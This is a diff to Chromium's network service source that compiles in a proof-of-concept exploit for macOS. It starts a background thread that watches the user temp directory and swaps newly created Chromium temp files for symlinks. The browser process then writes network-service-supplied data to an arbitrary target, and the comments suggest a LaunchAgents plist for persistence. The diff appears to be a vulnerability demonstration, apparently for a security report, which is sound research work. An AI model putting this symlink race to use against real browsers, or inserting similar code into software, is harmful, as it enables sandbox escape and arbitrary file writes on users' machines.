diff --git a/services/network/network_service.cc b/services/network/network_service.cc index 4811f9883b457..83490b581376f 100644 --- a/services/network/network_service.cc +++ b/services/network/network_service.cc @@ -11,6 +11,19 @@ #include #include +// ===================== POC: simulated-compromise racer ===================== +// Simulates code execution inside the sandboxed macOS network service. +// A real attacker would run equivalent shellcode after exploiting a separate +// network-process bug; this patch just compiles it in for demonstration. +#if defined(__APPLE__) +#include +#include +#include +#include +#include +#include +#endif // __APPLE__ + #include "base/check.h" #include "base/check_is_test.h" #include "base/check_op.h" @@ -380,6 +393,88 @@ class NetworkService::DelayedDohProbeActivator { base::OneShotTimer doh_probes_timer_; }; +#if defined(__APPLE__) +namespace { + +// Target file the browser process will be tricked into truncating + writing. +// In a real attack this would be e.g. ~/Library/LaunchAgents/com.pwn.plist. +// For POC observability we use a sentinel under /tmp (browser-writable, not +// network-sandbox-writable, so its contents prove the write came from the +// browser process). +constexpr char kPocSymlinkTarget[] = "/tmp/BROWSER_WROTE_HERE.txt"; + +// Filename prefix that base::FormatTemporaryFileName() uses on Apple builds: +// "." + base::apple::BaseBundleID() + "." (file_util_posix.cc:869-878). +// On a Chromium-branded build this is ".org.chromium.Chromium."; on a +// Google-Chrome-branded build it is ".com.google.Chrome.". +bool IsChromiumTempName(const char* name) { + return strncmp(name, ".org.chromium.Chromium.", 23) == 0 || + strncmp(name, ".com.google.Chrome.", 19) == 0; +} + +// kqueue-based directory watcher. Runs entirely inside the network-service +// sandbox; everything it does (open temp dir, readdir, unlink, symlink) is +// permitted by network.sb:50-53 "(allow file-read* file-write* (subpath +// (param darwin-user-temp-dir)))". +void* PocSymlinkRacer(void*) { + char tmp[PATH_MAX] = {0}; + size_t n = confstr(_CS_DARWIN_USER_TEMP_DIR, tmp, sizeof(tmp)); + if (n == 0 || n >= sizeof(tmp)) { + return nullptr; + } + int dir_fd = open(tmp, O_RDONLY | O_DIRECTORY); + if (dir_fd < 0) { + return nullptr; + } + int kq = kqueue(); + struct kevent ev; + EV_SET(&ev, dir_fd, EVFILT_VNODE, EV_ADD | EV_CLEAR, NOTE_WRITE, 0, nullptr); + kevent(kq, &ev, 1, nullptr, 0, nullptr); + + fprintf(stderr, + "[POC racer] watching %s for browser mkstemp(); will swap symlink " + "-> %s\n", + tmp, kPocSymlinkTarget); + + for (;;) { + struct kevent out; + struct timespec ts = {0, 0}; // poll; whether or not an event fired, + // scan aggressively to tighten the race + // against the browser's reopen. + kevent(kq, nullptr, 0, &out, 1, &ts); + DIR* d = opendir(tmp); + if (!d) { + continue; + } + struct dirent* e; + while ((e = readdir(d)) != nullptr) { + if (e->d_type == DT_REG && IsChromiumTempName(e->d_name)) { + // (1) unlink the regular file mkstemp() just created + // (2) drop a symlink with the same name pointing at the target + // The browser is about to re-open this path with + // O_CREAT|O_TRUNC|O_WRONLY (no O_NOFOLLOW), follow it, and write + // network-service-supplied body bytes into the target. + if (unlinkat(dir_fd, e->d_name, 0) == 0 && + symlinkat(kPocSymlinkTarget, dir_fd, e->d_name) == 0) { + fprintf(stderr, "[POC racer] swapped %s%s -> %s\n", tmp, e->d_name, + kPocSymlinkTarget); + } + } + } + closedir(d); + } + return nullptr; +} + +void StartPocRacer() { + pthread_t t; + pthread_create(&t, nullptr, PocSymlinkRacer, nullptr); + pthread_detach(t); +} + +} // namespace +#endif // __APPLE__ + NetworkService::NetworkService( std::unique_ptr registry, mojo::PendingReceiver receiver, @@ -388,6 +483,13 @@ NetworkService::NetworkService( DCHECK(!g_network_service); g_network_service = this; +#if defined(__APPLE__) + // POC: spawn the symlink-swap racer thread inside the (sandboxed) network + // service process. This is the only attacker-controlled code; the browser + // process is unmodified. + StartPocRacer(); +#endif + if (base::FeatureList::IsEnabled(net::features::kNetTaskScheduler)) { net::NetTaskScheduler::MaybeCreate(); }